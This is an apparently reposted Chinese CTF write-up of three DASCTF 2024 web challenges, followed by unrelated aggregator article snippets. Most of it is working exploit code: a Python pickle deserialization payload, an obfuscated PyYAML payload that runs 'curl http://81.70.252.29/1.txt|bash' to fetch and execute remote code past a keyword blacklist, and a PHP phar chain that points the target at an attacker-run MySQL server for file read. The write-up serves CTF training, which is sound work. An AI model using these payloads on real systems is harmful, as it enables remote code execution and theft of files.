DASCTF 2024最后一战-WEB-gxngxngxn

news/2024/12/22 11:48:58/文章来源:https://www.cnblogs.com/gxngxngxn/p/18620905

DASCTF 2024最后一战

const_python

很直白的pickle反序列化,直接打

import os
import builtins
import pickle
import base64
import subprocess
class A():def __reduce__(self):return (subprocess.check_output, (["cp","/flag","/app/app.py"],))
a=A()
b=pickle.dumps(a)
with open("1.png", "wb") as f:pickle.dump(a, f)
print(base64.b64encode(b))

yaml_matser

import os
import re
import yaml
from flask import Flask, request, jsonify, render_templateapp = Flask(__name__, template_folder='templates')UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'sleep', 'setstate','command','static','templates','session','&','globals','builtins''run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request','error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}input_str_lower = str(input_str).lower()for term in blacklist_terms:if term in input_str_lower:print(f"Found blacklisted term: {term}")return Truereturn Falsefile_pattern = re.compile(r'.*\.yaml$')def is_yaml_file(filename):return bool(file_pattern.match(filename))@app.route('/')
def index():return '''Welcome to DASCTF X 0psu3<br>Here is the challenge <a href="/upload">Upload file</a><br>Enjoy it <a href="/Yam1">Yam1</a>'''@app.route('/upload', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':try:uploaded_file = request.files['file']if uploaded_file and is_yaml_file(uploaded_file.filename):file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)uploaded_file.save(file_path)return jsonify({"message": "uploaded successfully"}), 200else:return jsonify({"error": "Just YAML file"}), 400except Exception as e:return jsonify({"error": str(e)}), 500return render_template('upload.html')@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():filename = request.args.get('filename','')if filename:with open(f'uploads/{filename}.yaml', 'rb') as f:file_content = f.read()if not waf(file_content):test = yaml.load(file_content)print(test)return 'welcome'if __name__ == '__main__':app.run()

看到一个yaml反序列化,直接绕,bytes命令执行

exp = '__import__("os").system("curl http://81.70.252.29/1.txt|bash")'print(f"exec(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")
!!python/object/new:type
args:- exp- !!python/tuple []- {"extend": !!python/name:exec }
listitems: "exec(bytes([[j][0]for(i)in[range(29)][0]for(j)in[range(256)][0]if[i]in[[0]]and[j]in[[95]]or[i]in[[1]]and[j]in[[95]]or[i]in[[2]]and[j]in[[105]]or[i]in[[3]]and[j]in[[109]]or[i]in[[4]]and[j]in[[112]]or[i]in[[5]]and[j]in[[111]]or[i]in[[6]]and[j]in[[114]]or[i]in[[7]]and[j]in[[116]]or[i]in[[8]]and[j]in[[95]]or[i]in[[9]]and[j]in[[95]]or[i]in[[10]]and[j]in[[40]]or[i]in[[11]]and[j]in[[34]]or[i]in[[12]]and[j]in[[111]]or[i]in[[13]]and[j]in[[115]]or[i]in[[14]]and[j]in[[34]]or[i]in[[15]]and[j]in[[41]]or[i]in[[16]]and[j]in[[46]]or[i]in[[17]]and[j]in[[115]]or[i]in[[18]]and[j]in[[121]]or[i]in[[19]]and[j]in[[115]]or[i]in[[20]]and[j]in[[116]]or[i]in[[21]]and[j]in[[101]]or[i]in[[22]]and[j]in[[109]]or[i]in[[23]]and[j]in[[40]]or[i]in[[24]]and[j]in[[34]]or[i]in[[25]]and[j]in[[105]]or[i]in[[26]]and[j]in[[100]]or[i]in[[27]]and[j]in[[34]]or[i]in[[28]]and[j]in[[41]]]))"

strange_php

审会源码

首先看到welcome.php中

这里看可以删除留言,而且message可控,跟进deleteMessage函数

这里一眼顶真,可以触发phar,加上我们可以自定义留言,也就是可控上传文件的内容,所以很明显要打phar反序列化

我们看到UserMessage.php

这里有个__set魔术方法,如果filePath可控的话,就可以实现任意文件读取

那么怎么触发__set呢?

看到PDO_connect.php中

这里是可控的,如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。

接着我们看到User.php

这里可以调用到pdo中的get_connection,那么这里就是入口了

我们可以让靶机连我们远程的数据库,来自定义filePath的值,在自己vps上新建个数据库和表

链子如下:

<?phpclass User{private $conn;private $table = 'users';public $id;public $username="UserMessage";private $password="aaaa";public $created_at;public function __construct() {​    $this->conn = new PDO_connect();;}}class PDO_connect{private $pdo;public $con_options = array(​    "dsn"=>"mysql:host=81.70.252.29:3306;dbname=users;charset=utf8",​    'host'=>'81.70.252.29',​    'port'=>'3306',​    'user'=>'joker',​    'password'=>'joker',​    'charset'=>'utf8',​    'options'=>array(PDO::ATTR_DEFAULT_FETCH_MODE=>262152,​      PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));public $smt;}$a=new User();$phar = new Phar("ppppp.phar"); $phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("happy.txt", 'happy'); $phar->setMetadata($a);$phar->stopBuffering();$file_contents = file_get_contents("ppppp.phar");echo urlencode(base64_encode($file_contents));

写入,然后删除

成功触发phar,直接访问log/0bc7be346d4df269543565b6b7cd231a.txt读到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/856721.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

银河麒麟系统图示化黑屏进不去输入不了任何字

【银河麒麟系统图示化黑屏进不去输入不了任何字】 **问题描述:黑屏logo之后黑屏浪潮售后麒麟售后 都是踢皮球的 没啥用 解决问题: 长篇短说现在不是 输入不了 任何东西吗 记住IP地址 然后拿一台笔记本 ssh连接到这台服务器 进去之后 输入命令 startx #前台运行(不推荐) noh…

jquery分页插件am-pagination.js

am-pagination.js是一款jquery分页插件。该jquery分页插件可以动态的在客户端页面渲染出分页条效果,并带有多个配置参数,以及Bootstrap和amazeui两种主题风格的分页条。在线预览 下载使用方法 在页面中引入am-pagination.css和jquery、am-pagination.js文件,Bootstrap和am…

AI人员翻越栏杆监测摄像机

AI人员翻越栏杆监测摄像机是一种集成了人工智能技术和高清摄像功能的智能监控设备,旨在监测和预防禁止区域内的人员翻越栏杆的行为。这种先进的监测系统在城市安全管理和公共秩序维护方面发挥着关键作用,广泛应用于重要场所、敏感区域以及公共交通设施等地方。AI人员翻越栏杆…

AI客流量监测统计摄像机

AI客流量监测统计摄像机是一种结合人工智能和摄像监控技术的创新产品,广泛应用于商场、车站、景区等场所,通过智能监测和统计客流量,提供决策支持和运营优化。这种摄像机利用先进的AI算法,能够准确地统计出进出人员、车辆等的数量和流向,实时监测场所的客流量情况。通过对…

AI老人跌倒监测报警摄像机

AI老人跌倒监测报警摄像机是一种基于人工智能技术的智能监控设备,专门用于监测老年人的跌倒情况并提供实时报警功能,以及时处理紧急情况,保障老人安全。这种摄像机利用先进的AI算法和深度学习技术,能够实时监测老人的行为,如姿势变化和行动模式,识别并分析出可能发生跌倒…

windows 启动时弹出【选择操作系统】的解决办法

原因 因为台式机重装,原来的旧硬盘没拔,插上新硬盘后电脑有两个硬盘,开机时识别到有两个系统所以出现上述情况,新硬盘的分区方式中,引导分区记录了这个双系统信息 解决办法win + R 进入运行界面输入MSConfig,点击回车,进入启动设置上点击 “引导”,可以看到有两个启动盘…

Next.js项目中.prettierrc.json的配置

{// 使用双引号包裹属性名"quoteProps": "consistent",// 对象的键值对之间使用一致的空格"bracketSpacing": true,// 行尾使用分号"semi": true,// 行尾使用单引号而不是双引号"singleQuote": true,// 在多行数组的最后一个…

UML之修饰符

1.可见性修饰符 面向对象思想中有一个重要概念是封装,封装意味着对象中成员的“可见性”是不同的。这里的对象通常指类和包,而它们的可见性通过可见性修饰符进行定义。 在UML中,类对象成员的可见性修饰符有四种,其具体说明如下:修饰符 可见性 说明+ 公共 成员属性、行为、…

Next.js项目中.eslintrc.js的配置

print hello world!module.exports = {// 扩展配置,包含Next.js的核心Web Vitals插件和TypeScript支持插件等extends: [next/core-web-vitals, plugin:@typescript-eslint/recommended, plugin:import/recommended, prettier],rules: {// 关闭jsx-a11y插件的alt-text规则,通常…

nginx-tengine-invalid IPv6 address in resolver-解析器中无效的IPv6地址

问题描述:解析器中无效的IPv6地址 [root@dm ~]# nginx -t nginx: [emerg] invalid IPv6 address in resolver "[fe80::1%em2]" in /usr/local/tengine/conf/nginx.conf:175 nginx: configuration file /usr/local/tengine/conf/nginx.conf test failed 排查流程:查…

解锁 Git Log 更多实用技巧

目前,在软件开发的协作中,Git 无疑是版本控制的王者。 而其中的 git log 命令,犹如一把强大的历史探寻之剑,能够帮助我们深入洞察项目的演进历程。 本篇将为大家整理解读几个实用的 git Log 技巧,让你的项目管理和代码审查工作如虎添翼。 1. 挖掘代码深处的历史变更 git l…